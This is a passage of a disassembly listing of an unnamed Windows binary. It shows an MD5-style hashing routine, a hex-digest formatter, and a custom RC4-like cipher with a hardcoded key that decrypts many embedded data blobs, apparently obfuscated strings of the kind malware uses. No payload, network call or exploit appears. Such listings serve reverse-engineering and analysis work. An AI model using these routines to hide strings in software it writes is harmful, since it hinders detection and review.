[ebp+arg_0], edi xor ebx, eax xor ebx, edx add ebx, [ebp+var_24] lea esi, [esi+ebx-944B4A0h] mov ebx, esi shr ebx, 10h shl esi, 10h or ebx, esi add ebx, edi xor [ebp+arg_0], ebx mov esi, [ebp+arg_0] xor esi, edx add esi, [ebp+var_18] lea esi, [eax+esi-41404390h] mov eax, esi shl eax, 17h shr esi, 9 or eax, esi mov esi, [ebp+arg_0] add eax, ebx xor esi, eax add esi, [ebp+var_C] lea esi, [edx+esi+289B7EC6h] mov edx, esi shr edx, 1Ch shl esi, 4 or edx, esi mov esi, ebx add edx, eax xor esi, eax xor esi, edx add esi, [ebp+var_40] lea edi, [edi+esi-155ED806h] mov esi, edi shr esi, 15h shl edi, 0Bh or esi, edi add esi, edx mov edi, esi mov [ebp+arg_0], esi xor edi, eax xor edi, edx add edi, [ebp+var_34] lea ebx, [ebx+edi-2B10CF7Bh] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx add edi, esi xor [ebp+arg_0], edi mov ebx, [ebp+arg_0] xor ebx, edx add ebx, [ebp+var_28] lea ebx, [eax+ebx+4881D05h] mov eax, ebx shl eax, 17h shr ebx, 9 or eax, ebx mov ebx, [ebp+arg_0] add eax, edi xor ebx, eax add ebx, [ebp+var_1C] lea ebx, [edx+ebx-262B2FC7h] mov edx, ebx shr edx, 1Ch shl ebx, 4 or edx, ebx mov ebx, edi xor ebx, eax add edx, eax xor ebx, edx add ebx, [ebp+var_10] lea ebx, [esi+ebx-1924661Bh] mov esi, ebx shr esi, 15h shl ebx, 0Bh or esi, ebx add esi, edx mov ebx, esi xor ebx, eax xor ebx, edx add ebx, [ebp+var_4] lea ebx, [edi+ebx+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, esi add edi, esi xor ebx, edi xor ebx, edx add ebx, [ebp+var_38] lea eax, [eax+ebx-3B53A99Bh] mov ebx, eax shl ebx, 17h shr eax, 9 or ebx, eax mov eax, esi add ebx, edi not eax or eax, ebx xor eax, edi add eax, [ebp+var_40] lea edx, [edx+eax-0BD6DDBCh] mov eax, edx shr eax, 1Ah shl edx, 6 or eax, edx mov edx, edi add eax, ebx not edx or edx, eax xor edx, ebx add edx, [ebp+var_24] lea esi, [esi+edx+432AFF97h] mov edx, esi shr edx, 16h shl esi, 0Ah or edx, esi mov esi, ebx add edx, eax not esi or esi, edx xor esi, eax add esi, [ebp+var_8] lea edi, [edi+esi-546BDC59h] mov esi, edi shr esi, 11h shl edi, 0Fh or esi, edi mov edi, eax add esi, edx not edi or edi, esi xor edi, edx add edi, [ebp+var_2C] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, edx add edi, esi not ebx or ebx, edi xor ebx, esi add ebx, [ebp+var_10] lea ebx, [eax+ebx+655B59C3h] mov eax, ebx shl ebx, 6 shr eax, 1Ah or eax, ebx mov ebx, esi not ebx add eax, edi or ebx, eax xor ebx, edi add ebx, [ebp+var_34] lea ebx, [edx+ebx-70F3336Eh] mov edx, ebx shl ebx, 0Ah shr edx, 16h or edx, ebx mov ebx, edi not ebx add edx, eax or ebx, edx xor ebx, eax add ebx, [ebp+var_18] lea ebx, [esi+ebx-100B83h] mov esi, ebx shl ebx, 0Fh shr esi, 11h or esi, ebx mov ebx, eax add esi, edx not ebx or ebx, esi xor ebx, edx add ebx, [ebp+var_3C] lea ebx, [edi+ebx-7A7BA22Fh] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, edx add edi, esi not ebx or ebx, edi xor ebx, esi add ebx, [ebp+var_20] lea ebx, [eax+ebx+6FA87E4Fh] mov eax, ebx shr eax, 1Ah shl ebx, 6 or eax, ebx mov ebx, esi add eax, edi not ebx or ebx, eax xor ebx, edi add ebx, [ebp+var_4] lea ebx, [edx+ebx-1D31920h] mov edx, ebx shr edx, 16h shl ebx, 0Ah or edx, ebx mov ebx, edi add edx, eax not ebx or ebx, edx xor ebx, eax add ebx, [ebp+var_28] lea ebx, [esi+ebx-5CFEBCECh] mov esi, ebx shr esi, 11h shl ebx, 0Fh or esi, ebx mov ebx, eax add esi, edx not ebx or ebx, esi xor ebx, edx add ebx, [ebp+var_C] lea ebx, [edi+ebx+4E0811A1h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, edx add edi, esi not ebx or ebx, edi xor ebx, esi add ebx, [ebp+var_30] lea ebx, [eax+ebx-8AC817Eh] mov eax, ebx shr eax, 1Ah shl ebx, 6 or eax, ebx mov ebx, esi add eax, edi not ebx or ebx, eax xor ebx, edi add ebx, [ebp+var_14] lea edx, [edx+ebx-42C50DCBh] mov ebx, edx shr ebx, 16h shl edx, 0Ah or ebx, edx mov edx, edi add ebx, eax not edx or edx, ebx xor edx, eax add edx, [ebp+var_38] lea esi, [esi+edx+2AD7D2BBh] mov edx, esi shr edx, 11h shl esi, 0Fh or edx, esi mov esi, eax add edx, ebx not esi or esi, edx xor esi, ebx add esi, [ebp+var_1C] lea edi, [edi+esi-14792C6Fh] mov esi, [ecx+8] add esi, eax mov eax, edi shl eax, 15h shr edi, 0Bh or eax, edi mov [ecx+8], esi add eax, [ecx+0Ch] pop edi pop esi add eax, edx mov [ecx+0Ch], eax mov eax, [ecx+10h] add eax, edx mov [ecx+10h], eax mov eax, [ecx+14h] add eax, ebx pop ebx mov [ecx+14h], eax leave retn 4 sub_41C2AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC38 proc near ; CODE XREF: sub_41CCCB+66p ; sub_41CCCB+73p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, ecx mov ecx, [ebp+arg_4] push edi test ecx, ecx jz short loc_41CCC5 mov eax, [esi] push ebx mov edi, eax push 40h and edi, 3Fh pop ebx add eax, ecx sub ebx, edi cmp eax, ecx mov [esi], eax jnb short loc_41CC5E inc dword ptr [esi+4] loc_41CC5E: ; CODE XREF: sub_41CC38+21j test edi, edi jz short loc_41CC8D cmp ecx, ebx jb short loc_41CC8D push ebx lea eax, [edi+esi+18h] push [ebp+arg_0] push eax call sub_4223F0 add esp, 0Ch lea eax, [esi+18h] mov ecx, esi push eax call sub_41C2AB sub [ebp+arg_4], ebx add [ebp+arg_0], ebx mov ecx, [ebp+arg_4] xor edi, edi loc_41CC8D: ; CODE XREF: sub_41CC38+28j ; sub_41CC38+2Cj cmp ecx, 40h jb short loc_41CCAF mov ebx, ecx shr ebx, 6 loc_41CC97: ; CODE XREF: sub_41CC38+72j push [ebp+arg_0] mov ecx, esi call sub_41C2AB sub [ebp+arg_4], 40h add [ebp+arg_0], 40h dec ebx jnz short loc_41CC97 mov ecx, [ebp+arg_4] loc_41CCAF: ; CODE XREF: sub_41CC38+58j test ecx, ecx pop ebx jz short loc_41CCC5 push ecx lea eax, [edi+esi+18h] push [ebp+arg_0] push eax call sub_4223F0 add esp, 0Ch loc_41CCC5: ; CODE XREF: sub_41CC38+Cj ; sub_41CC38+7Aj pop edi pop esi pop ebp retn 8 sub_41CC38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCCB proc near ; CODE XREF: sub_41CDB7+24p var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi push 38h mov edi, [esi] mov eax, [esi+4] mov ecx, edi shl eax, 3 shr ecx, 1Dh or eax, ecx mov ecx, edi shl ecx, 3 mov edx, ecx mov [ebp+var_8], cl shr edx, 8 mov [ebp+var_7], dl mov edx, ecx shr ecx, 18h mov [ebp+var_5], cl mov ecx, eax shr ecx, 8 mov [ebp+var_3], cl mov [ebp+var_4], al mov ecx, eax and edi, 3Fh shr eax, 18h mov [ebp+var_1], al pop eax shr edx, 10h shr ecx, 10h cmp edi, eax mov [ebp+var_6], dl mov [ebp+var_2], cl jb short loc_41CD27 push 78h pop eax loc_41CD27: ; CODE XREF: sub_41CCCB+57j sub eax, edi mov ecx, esi push eax push offset dword_448C58 call sub_41CC38 lea eax, [ebp+var_8] push 8 push eax mov ecx, esi call sub_41CC38 mov eax, [ebp+arg_0] mov cl, [esi+8] pop edi mov [eax], cl mov ecx, [esi+8] shr ecx, 8 mov [eax+1], cl mov cl, [esi+0Ah] mov [eax+2], cl mov cl, [esi+0Bh] mov [eax+3], cl mov cl, [esi+0Ch] mov [eax+4], cl mov ecx, [esi+0Ch] shr ecx, 8 mov [eax+5], cl mov cl, [esi+0Eh] mov [eax+6], cl mov cl, [esi+0Fh] mov [eax+7], cl mov cl, [esi+10h] mov [eax+8], cl mov ecx, [esi+10h] shr ecx, 8 mov [eax+9], cl mov cl, [esi+12h] mov [eax+0Ah], cl mov cl, [esi+13h] mov [eax+0Bh], cl mov cl, [esi+14h] mov [eax+0Ch], cl mov ecx, [esi+14h] shr ecx, 8 mov [eax+0Dh], cl mov cl, [esi+16h] mov [eax+0Eh], cl mov cl, [esi+17h] mov [eax+0Fh], cl pop esi leave retn 4 sub_41CCCB endp ; =============== S U B R O U T I N E ======================================= sub_41CDB7 proc near ; CODE XREF: sub_41CE88+3Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx call sub_41C287 push [esp+4+arg_0] call sub_422120 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_41CC38 push [esp+4+arg_4] mov ecx, esi call sub_41CCCB pop esi retn 8 sub_41CDB7 endp ; =============== S U B R O U T I N E ======================================= sub_41CDE4 proc near ; CODE XREF: sub_41CE88+46p arg_0 = dword ptr 4 push esi push 1 push 28h call sub_423F63 mov esi, eax mov eax, [esp+0Ch+arg_0] movzx ecx, byte ptr [eax+10h] push ecx movzx ecx, byte ptr [eax+0Fh] push ecx movzx ecx, byte ptr [eax+0Eh] push ecx movzx ecx, byte ptr [eax+0Dh] push ecx movzx ecx, byte ptr [eax+0Ch] push ecx movzx ecx, byte ptr [eax+0Bh] push ecx movzx ecx, byte ptr [eax+0Ah] push ecx movzx ecx, byte ptr [eax+9] push ecx movzx ecx, byte ptr [eax+8] push ecx movzx ecx, byte ptr [eax+7] push ecx movzx ecx, byte ptr [eax+6] push ecx movzx ecx, byte ptr [eax+5] push ecx movzx ecx, byte ptr [eax+4] push ecx movzx ecx, byte ptr [eax+3] push ecx movzx ecx, byte ptr [eax+2] push ecx movzx ecx, byte ptr [eax+1] movzx eax, byte ptr [eax] push ecx push eax push offset a02x02x02x02x02 ; "%02x%02x%02x%02x%02x%02x%02x%02x%02x%02"... push esi call sub_422063 add esp, 54h mov eax, esi pop esi retn 4 sub_41CDE4 endp ; =============== S U B R O U T I N E ======================================= sub_41CE5C proc near ; CODE XREF: sub_41C27B+3p push esi mov esi, ecx push 40h push 0 lea eax, [esi+18h] push eax call sub_4221F0 push 10h lea eax, [esi+8] push 0 push eax call sub_4221F0 push 8 push 0 push esi call sub_4221F0 add esp, 24h pop esi retn sub_41CE5C endp ; =============== S U B R O U T I N E ======================================= sub_41CE88 proc near ; CODE XREF: sub_403B2C+81Bp ; sub_419B2F+20Ep mov eax, offset loc_42EF4A call sub_423A68 push ecx push esi push edi push 58h call sub_423F55 pop ecx mov ecx, eax mov [ebp-10h], ecx xor esi, esi cmp ecx, esi mov [ebp-4], esi jz short loc_41CEB2 call sub_41C27B mov esi, eax loc_41CEB2: ; CODE XREF: sub_41CE88+21j or dword ptr [ebp-4], 0FFFFFFFFh push 11h call sub_423F55 pop ecx mov edi, eax push edi mov ecx, esi push dword ptr [ebp+8] call sub_41CDB7 push edi mov ecx, esi call sub_41CDE4 mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx leave retn sub_41CE88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CEE1 proc near ; CODE XREF: sub_403B2C+2EDp ; sub_403B2C+3DDp ... var_448 = byte ptr -448h var_298 = byte ptr -298h var_E8 = byte ptr -0E8h var_E7 = byte ptr -0E7h var_E6 = byte ptr -0E6h var_E5 = byte ptr -0E5h var_E4 = byte ptr -0E4h var_E3 = byte ptr -0E3h var_E2 = byte ptr -0E2h var_E1 = byte ptr -0E1h var_E0 = byte ptr -0E0h var_DF = byte ptr -0DFh var_DE = byte ptr -0DEh var_DD = byte ptr -0DDh var_DC = byte ptr -0DCh var_DB = byte ptr -0DBh var_DA = byte ptr -0DAh var_D9 = byte ptr -0D9h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_D4 = byte ptr -0D4h var_D3 = byte ptr -0D3h var_D2 = byte ptr -0D2h var_D1 = byte ptr -0D1h var_D0 = byte ptr -0D0h var_CF = byte ptr -0CFh var_CE = byte ptr -0CEh var_CD = byte ptr -0CDh var_CC = byte ptr -0CCh var_CB = byte ptr -0CBh var_CA = byte ptr -0CAh var_C9 = byte ptr -0C9h var_C8 = byte ptr -0C8h var_C7 = byte ptr -0C7h var_C6 = byte ptr -0C6h var_C5 = byte ptr -0C5h var_C4 = byte ptr -0C4h var_C3 = byte ptr -0C3h var_C2 = byte ptr -0C2h var_C1 = byte ptr -0C1h var_C0 = byte ptr -0C0h var_BF = byte ptr -0BFh var_BE = byte ptr -0BEh var_BD = byte ptr -0BDh var_BC = byte ptr -0BCh var_BB = byte ptr -0BBh var_BA = byte ptr -0BAh var_B9 = byte ptr -0B9h var_B8 = byte ptr -0B8h var_B7 = byte ptr -0B7h var_B6 = byte ptr -0B6h var_B5 = byte ptr -0B5h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_B2 = byte ptr -0B2h var_B1 = byte ptr -0B1h var_B0 = byte ptr -0B0h var_AF = byte ptr -0AFh var_AE = byte ptr -0AEh var_AD = byte ptr -0ADh var_AC = byte ptr -0ACh var_AB = byte ptr -0ABh var_AA = byte ptr -0AAh var_A9 = byte ptr -0A9h var_A8 = byte ptr -0A8h var_A7 = byte ptr -0A7h var_A6 = byte ptr -0A6h var_A5 = byte ptr -0A5h var_A4 = byte ptr -0A4h var_A3 = byte ptr -0A3h var_A2 = byte ptr -0A2h var_A1 = byte ptr -0A1h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_9E = byte ptr -9Eh var_9D = byte ptr -9Dh var_9C = byte ptr -9Ch var_9B = byte ptr -9Bh var_9A = byte ptr -9Ah var_99 = byte ptr -99h var_98 = byte ptr -98h var_97 = byte ptr -97h var_96 = byte ptr -96h var_95 = byte ptr -95h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_91 = byte ptr -91h var_90 = byte ptr -90h var_8F = byte ptr -8Fh var_8E = byte ptr -8Eh var_8D = byte ptr -8Dh var_8C = byte ptr -8Ch var_8B = byte ptr -8Bh var_8A = byte ptr -8Ah var_89 = byte ptr -89h var_88 = byte ptr -88h var_87 = byte ptr -87h var_86 = byte ptr -86h var_85 = byte ptr -85h var_84 = byte ptr -84h var_83 = byte ptr -83h var_82 = byte ptr -82h var_81 = byte ptr -81h var_80 = byte ptr -80h var_7F = byte ptr -7Fh var_7E = byte ptr -7Eh var_7D = byte ptr -7Dh var_7C = byte ptr -7Ch var_7B = byte ptr -7Bh var_7A = byte ptr -7Ah var_79 = byte ptr -79h var_78 = byte ptr -78h var_77 = byte ptr -77h var_76 = byte ptr -76h var_75 = byte ptr -75h var_74 = byte ptr -74h var_73 = byte ptr -73h var_72 = byte ptr -72h var_71 = byte ptr -71h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = byte ptr -6Eh var_6D = byte ptr -6Dh var_6C = byte ptr -6Ch var_6B = byte ptr -6Bh var_6A = byte ptr -6Ah var_69 = byte ptr -69h var_68 = byte ptr -68h var_67 = byte ptr -67h var_66 = byte ptr -66h var_65 = byte ptr -65h var_64 = byte ptr -64h var_63 = byte ptr -63h var_62 = byte ptr -62h var_61 = byte ptr -61h var_60 = byte ptr -60h var_5F = byte ptr -5Fh var_5E = byte ptr -5Eh var_5D = byte ptr -5Dh var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = byte ptr -5Ah var_59 = byte ptr -59h var_58 = byte ptr -58h var_57 = byte ptr -57h var_56 = byte ptr -56h var_55 = byte ptr -55h var_54 = byte ptr -54h var_53 = byte ptr -53h var_52 = byte ptr -52h var_51 = byte ptr -51h var_50 = byte ptr -50h var_4F = byte ptr -4Fh var_4E = byte ptr -4Eh var_4D = byte ptr -4Dh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_45 = byte ptr -45h var_44 = byte ptr -44h var_43 = byte ptr -43h var_42 = byte ptr -42h var_41 = byte ptr -41h var_40 = byte ptr -40h var_3F = byte ptr -3Fh var_3E = byte ptr -3Eh var_3D = byte ptr -3Dh var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh var_3A = byte ptr -3Ah var_39 = byte ptr -39h var_38 = byte ptr -38h var_37 = byte ptr -37h var_36 = byte ptr -36h var_35 = byte ptr -35h var_34 = byte ptr -34h var_33 = byte ptr -33h var_32 = byte ptr -32h var_31 = byte ptr -31h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = byte ptr -2Ah var_29 = byte ptr -29h var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = byte ptr -26h var_25 = byte ptr -25h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = byte ptr -22h var_21 = byte ptr -21h var_20 = byte ptr -20h var_1F = byte ptr -1Fh var_1E = byte ptr -1Eh var_1D = byte ptr -1Dh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 448h push ebx push esi push edi xor ebx, ebx xor edi, edi mov [ebp+var_E8], 0Ah mov [ebp+var_E7], 0Eh mov [ebp+var_E6], 20h mov [ebp+var_E5], 48h mov [ebp+var_E4], 0Bh mov [ebp+var_E3], 2Bh mov [ebp+var_E2], 0Ch mov [ebp+var_E1], 23h mov [ebp+var_E0], 3Ah mov [ebp+var_DF], 27h mov [ebp+var_DE], 28h mov [ebp+var_DD], 5Eh mov [ebp+var_DC], 2Ah mov [ebp+var_DB], 1Eh mov [ebp+var_DA], 2Dh mov [ebp+var_D9], 5Ah mov [ebp+var_D8], 1Bh mov [ebp+var_D7], 0Fh mov [ebp+var_D6], 4Ch mov [ebp+var_D5], 44h mov [ebp+var_D4], 16h mov [ebp+var_D3], 4 mov [ebp+var_D2], 57h mov [ebp+var_D1], 23h mov [ebp+var_D0], 11h mov [ebp+var_CF], 53h mov [ebp+var_CE], 38h mov [ebp+var_CD], 13h mov [ebp+var_CC], 0Dh mov [ebp+var_CB], 12h mov [ebp+var_CA], 25h mov [ebp+var_C9], 1Ch mov [ebp+var_C8], 30h mov [ebp+var_C7], 12h mov [ebp+var_C6], 50h mov [ebp+var_C5], 4Fh mov [ebp+var_C4], 39h mov [ebp+var_C3], 10h mov [ebp+var_C2], 42h mov [ebp+var_C1], 1Fh mov [ebp+var_C0], 37h mov [ebp+var_BF], 1Dh mov [ebp+var_BE], 41h mov [ebp+var_BD], 55h mov [ebp+var_BC], 2Ch mov [ebp+var_BB], 41h mov [ebp+var_BA], 2Ch mov [ebp+var_B9], 4Eh mov [ebp+var_B8], 5Dh mov [ebp+var_B7], 17h mov [ebp+var_B6], 5Bh mov [ebp+var_B5], 1Ch mov [ebp+var_B4], 44h mov [ebp+var_B3], 1Dh mov [ebp+var_B2], 25h mov [ebp+var_B1], 22h mov [ebp+var_B0], 2Fh mov [ebp+var_AF], 2Bh mov [ebp+var_AE], 58h mov [ebp+var_AD], 2Eh mov [ebp+var_AC], 16h mov [ebp+var_AB], 41h mov [ebp+var_AA], 13h mov [ebp+var_A9], 30h mov [ebp+var_A8], 59h mov [ebp+var_A7], 38h mov [ebp+var_A6], 27h mov [ebp+var_A5], 35h mov [ebp+var_A4], 1 mov [ebp+var_A3], 11h mov [ebp+var_A2], 0Bh mov [ebp+var_A1], 0Ch mov [ebp+var_A0], 0Dh mov [ebp+var_9F], 43h mov [ebp+var_9E], 45h mov [ebp+var_9D], 19h mov [ebp+var_9C], 13h mov [ebp+var_9B], 22h mov [ebp+var_9A], 39h mov [ebp+var_99], 45h mov [ebp+var_98], 41h mov [ebp+var_97], 14h mov [ebp+var_96], 2Eh mov [ebp+var_95], 3Dh mov [ebp+var_94], 4Fh mov [ebp+var_93], 13h mov [ebp+var_92], 1Fh mov [ebp+var_91], 33h mov [ebp+var_90], 31h mov [ebp+var_8F], 0Ah mov [ebp+var_8E], 43h mov [ebp+var_8D], 47h mov [ebp+var_8C], 27h mov [ebp+var_8B], 55h mov [ebp+var_8A], 38h mov [ebp+var_89], 49h mov [ebp+var_88], 2Ah mov [ebp+var_87], 0Bh mov [ebp+var_86], 4Eh mov [ebp+var_85], 41h mov [ebp+var_84], 33h mov [ebp+var_83], 4Ch mov [ebp+var_82], 10h mov [ebp+var_81], 4Eh mov [ebp+var_80], 36h mov [ebp+var_7F], 34h mov [ebp+var_7E], 5Ah mov [ebp+var_7D], 2Dh mov [ebp+var_7C], 5Ah mov [ebp+var_7B], 12h mov [ebp+var_7A], 0Bh mov [ebp+var_79], 2Bh mov [ebp+var_78], 13h mov [ebp+var_77], 0Dh mov [ebp+var_76], 15h mov [ebp+var_75], 21h mov [ebp+var_74], 0Bh mov [ebp+var_73], 3 mov [ebp+var_72], 4Ch mov [ebp+var_71], 17h mov [ebp+var_70], 4Ch mov [ebp+var_6F], 49h mov [ebp+var_6E], 38h mov [ebp+var_6D], 0Dh mov [ebp+var_6C], 18h mov [ebp+var_6B], 1Dh mov [ebp+var_6A], 3Ch mov [ebp+var_69], 27h mov [ebp+var_68], 23h mov [ebp+var_67], 59h mov [ebp+var_66], 1Eh mov [ebp+var_65], 43h mov [ebp+var_64], 5Fh mov [ebp+var_63], 4Eh mov [ebp+var_62], 14h mov [ebp+var_61], 2Bh mov [ebp+var_60], 4Dh mov [ebp+var_5F], 27h mov [ebp+var_5E], 2Dh mov [ebp+var_5D], 22h mov [ebp+var_5C], 0Ch mov [ebp+var_5B], 30h mov [ebp+var_5A], 0Dh mov [ebp+var_59], 20h mov [ebp+var_58], 16h mov [ebp+var_57], 1Ch mov [ebp+var_56], 2Ch mov [ebp+var_55], 15h mov [ebp+var_54], 2Ch mov [ebp+var_53], 12h mov [ebp+var_52], 4Fh mov [ebp+var_51], 0Ah mov [ebp+var_50], 38h mov [ebp+var_4F], 2Dh mov [ebp+var_4E], 49h mov [ebp+var_4D], 15h mov [ebp+var_4C], 59h lea eax, [ebp+var_E8] mov [ebp+var_4B], 38h push eax mov [ebp+var_4A], 43h mov [ebp+var_49], 1Fh mov [ebp+var_48], 33h mov [ebp+var_47], 0Dh mov [ebp+var_46], 38h mov [ebp+var_45], 2Fh mov [ebp+var_44], 20h mov [ebp+var_43], 15h mov [ebp+var_42], 2Eh mov [ebp+var_41], 5Bh mov [ebp+var_40], 36h mov [ebp+var_3F], 37h mov [ebp+var_3E], 1Bh mov [ebp+var_3D], 56h mov [ebp+var_3C], 4Eh mov [ebp+var_3B], 32h mov [ebp+var_3A], 0Ah mov [ebp+var_39], 48h mov [ebp+var_38], 42h mov [ebp+var_37], 45h mov [ebp+var_36], 2Bh mov [ebp+var_35], 41h mov [ebp+var_34], 37h mov [ebp+var_33], 0Dh mov [ebp+var_32], 31h mov [ebp+var_31], 3Dh mov [ebp+var_30], 4Dh mov [ebp+var_2F], 17h mov [ebp+var_2E], 17h mov [ebp+var_2D], 39h mov [ebp+var_2C], 21h mov [ebp+var_2B], 22h mov [ebp+var_2A], 35h mov [ebp+var_29], 2Bh mov [ebp+var_28], 0Bh mov [ebp+var_27], 2Dh mov [ebp+var_26], 40h mov [ebp+var_25], 27h mov [ebp+var_24], 27h mov [ebp+var_23], 36h mov [ebp+var_22], 4Dh mov [ebp+var_21], 46h mov [ebp+var_20], 45h mov [ebp+var_1F], 42h mov [ebp+var_1E], 13h mov [ebp+var_1D], 32h mov [ebp+var_1C], 47h mov [ebp+var_1B], 4Ch mov [ebp+var_1A], 17h mov [ebp+var_19], 23h mov [ebp+var_18], 1Fh mov [ebp+var_17], 57h mov [ebp+var_16], 1Eh mov [ebp+var_15], 1Dh mov [ebp+var_14], 2Bh mov [ebp+var_13], 5Dh mov [ebp+var_12], 4Eh mov [ebp+var_11], bl call sub_422120 mov esi, 1AFh mov [ebp+var_C], eax push esi lea eax, [ebp+var_298] push ebx push eax call sub_4221F0 push esi lea eax, [ebp+var_448] push ebx push eax call sub_4221F0 add esp, 1Ch xor eax, eax dec esi loc_41D3BE: ; CODE XREF: sub_41CEE1+4E7j mov [ebp+eax+var_298], al inc eax cmp eax, esi jb short loc_41D3BE xor eax, eax loc_41D3CC: ; CODE XREF: sub_41CEE1+504j cmp edi, [ebp+var_C] jnz short loc_41D3D3 xor edi, edi loc_41D3D3: ; CODE XREF: sub_41CEE1+4EEj mov cl, [ebp+edi+var_E8] inc edi mov [ebp+eax+var_448], cl inc eax cmp eax, esi jb short loc_41D3CC xor edx, edx mov [ebp+var_8], ebx loc_41D3EC: ; CODE XREF: sub_41CEE1+545j mov ecx, [ebp+var_8] lea edi, [ebp+ecx+var_298] movzx ecx, [ebp+ecx+var_448] mov al, [edi] add edx, ecx mov [ebp+var_1], al mov ecx, esi movzx eax, al add eax, edx xor edx, edx div ecx inc [ebp+var_8] cmp [ebp+var_8], esi lea eax, [ebp+edx+var_298] mov cl, [eax] mov [edi], cl mov cl, [ebp+var_1] mov [eax], cl jb short loc_41D3EC xor eax, eax cmp [ebp+arg_4], ebx mov [ebp+var_C], ebx mov [ebp+var_10], ebx jbe short loc_41D494 jmp short loc_41D43A ; --------------------------------------------------------------------------- loc_41D437: ; CODE XREF: sub_41CEE1+5B1j mov eax, [ebp+var_8] loc_41D43A: ; CODE XREF: sub_41CEE1+554j inc eax xor edx, edx mov ecx, esi mov edi, esi div ecx mov [ebp+var_8], edx lea ecx, [ebp+edx+var_298] xor edx, edx mov bl, [ecx] movzx eax, bl add eax, [ebp+var_C] div edi mov [ebp+var_C], edx lea eax, [ebp+edx+var_298] mov dl, [eax] mov [ecx], dl mov edx, [ebp+var_10] mov [eax], bl mov eax, [ebp+arg_0] lea edi, [edx+eax] xor edx, edx movzx eax, byte ptr [ecx] movzx ecx, bl add eax, ecx mov ecx, esi div ecx mov al, [ebp+edx+var_298] xor [edi], al inc [ebp+var_10] mov eax, [ebp+var_10] cmp eax, [ebp+arg_4] jb short loc_41D437 loc_41D494: ; CODE XREF: sub_41CEE1+552j pop edi pop esi pop ebx leave retn sub_41CEE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D499 proc near ; CODE XREF: sub_4120E9+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi xor esi, esi push edi push esi mov edi, offset dword_439134 push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset byte_439233 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_439540 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_439568 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_439578 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_439590 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_439068 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_439098 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_4390C8 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset loc_439030 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset loc_43903C push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset loc_4395A0 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_4395C4 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h mov edi, offset dword_4395E8 push esi push esi push edi call sub_422120 pop ecx push eax push edi call sub_41CEE1 add esp, 10h xor edi, edi cmp [ebp+arg_0], esi jle short loc_41D61A loc_41D5F8: ; CODE XREF: sub_41D499+17Fj lea ebx, ds:43904Ch[edi*4] push esi push esi push dword ptr [ebx] call sub_422120 pop ecx push eax push dword ptr [ebx] call sub_41CEE1 add esp, 10h inc edi cmp edi, [ebp+arg_0] jl short loc_41D5F8 loc_41D61A: ; CODE XREF: sub_41D499+15Dj mov eax, [ebp+arg_4] cmp eax, esi 